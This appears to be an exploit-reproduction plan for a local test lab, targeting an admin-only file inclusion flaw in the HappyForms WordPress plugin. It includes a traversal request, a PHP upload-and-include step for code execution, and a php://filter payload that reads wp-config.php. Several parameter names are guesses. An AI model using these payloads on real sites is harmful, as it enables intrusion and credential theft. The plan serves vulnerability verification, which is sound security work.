HappyForms <= 1.26.12 - Authenticated (Admin+) Local File Inclusion

This research plan targets a Local File Inclusion (LFI) vulnerability in the Happyforms plugin (versions <= 1.26.12). The vulnerability resides in the happyforms_get_form_partial() function, which fails to properly sanitize template paths before inclusion.

1. Vulnerability Summary

• Vulnerability: Authenticated (Admin+) Local File Inclusion (LFI).
• Vulnerable Function: happyforms_get_form_partial() (likely located in inc/classes/class-happyforms.php or core/helpers/helper-misc.php).
• Reason: The function accepts a user-provided parameter (representing a template or partial name) and uses it directly in an include or require statement without sufficient sanitization or path validation. This allows an administrator to use directory traversal (../) to include arbitrary .php files.
• Impact: Execution of arbitrary PHP code (RCE) if an attacker can upload a .php file (e.g., via the media library) or inclusion of sensitive files that execute logic (like wp-config.php).

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php or a specific admin page (e.g., the Form Builder/Customizer).
• Action: Likely happyforms_get_form_partial.
• Parameter: Typically template, part, or partial (to be confirmed via grep).
• Authentication: Administrator-level access is required.
• Preconditions: The plugin must be active.

3. Code Flow (Manual Discovery)

The researcher/agent must first locate the vulnerable sink:

1. Search for the function:
   grep -rn "function happyforms_get_form_partial" .
2. Trace the Sink: Inside the function, look for include, include_once, require, or require_once. Identify the variable being passed.
3. Find the Entry Point: Search for where this function is called or registered as an AJAX action:
   grep -rn "happyforms_get_form_partial" .
   Look for add_action( 'wp_ajax_...', ... ).

4. Nonce Acquisition Strategy

Happyforms heavily utilizes the WordPress Customizer and AJAX. Admin nonces are typically localized for the dashboard.

1. Identify the Script/Nonce: Search for wp_localize_script in the codebase to find the handle.
   grep -rn "wp_localize_script" .
2. Likely Variable: In Happyforms, nonces are often attached to window.happyforms_admin or window.happyforms_customizer.
3. Acquisition Steps:
   • Create a test form (if none exist) to ensure the builder scripts load: wp eval "HappyForms()->initialize_plugin();" (or use WP-CLI to create a form).
   • Navigate to the Happyforms admin page: browser_navigate("http://localhost:8080/wp-admin/admin.php?page=happyforms").
   • Extract the nonce using browser_eval:

     // Hypothetical identifiers based on Happyforms naming conventions
     window.happyforms_admin?.nonce || window.happyforms_settings?.nonce
     

5. Exploitation Strategy

Step 1: Discover Parameters

Assuming the function is an AJAX handler, use http_request to test parameters.

• Action: happyforms_get_form_partial
• Target Parameter: (Discovered in Step 3, e.g., partial)

Step 2: Test Path Traversal

Attempt to include a known WordPress file to confirm the LFI. We will target wp-config (which won't display source but will confirm execution/inclusion if no error occurs vs a 404 for a non-existent file).

Request (Example):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=happyforms_get_form_partial&partial=../../../../wp-config&nonce=[NONCE]

Step 3: RCE via Media Library (If applicable)

1. Upload a file named poc.php (containing <?php echo "VULN_SUCCESS"; ?>) to the WordPress Media Library.
2. Identify the path (usually wp-content/uploads/YYYY/MM/poc.php).
3. Include it via the LFI:
   partial=../../../../wp-content/uploads/2025/01/poc (Note: The plugin likely appends .php).

6. Test Data Setup

1. Login as Admin: Use the login_as_admin tool.
2. Create a Form: Ensure at least one Happyforms form exists to populate admin interfaces.
   wp post create --post_type=happyform --post_title="Exploit Test" --post_status=publish
3. Locate Plugin Path: Confirm plugin is at wp-content/plugins/happyforms/.

7. Expected Results

• Success: The HTTP response body contains the output of the included PHP file (e.g., "VULN_SUCCESS") or a lack of "File not found" errors when targeting valid system files.
• Evidence: If including wp-config.php, the response may be empty (200 OK) because wp-config.php defines constants but produces no output. Including a non-existent file should trigger a PHP warning/error if WP_DEBUG is on, or a plugin-specific error message.

8. Verification Steps

1. Error Log Check: Check wp-content/debug.log for "failed to open stream" errors which indicate the inclusion path attempted:
   tail -n 20 /var/www/html/wp-content/debug.log
2. PHP Execution: If a shell was uploaded, verify the existence of a file created by the shell.

9. Alternative Approaches

• Wrapper Inclusion: If direct inclusion is blocked by .php extension enforcement, try php://filter/convert.base64-encode/resource=wp-config to read the configuration.
  • Note: If the plugin appends .php, the payload would be php://filter/convert.base64-encode/resource=../../../../wp-config (the filter will look for wp-config.php).
• Template Directives: Check if the vulnerability is accessible via the [happyforms] shortcode processing if it dynamically loads parts based on attributes.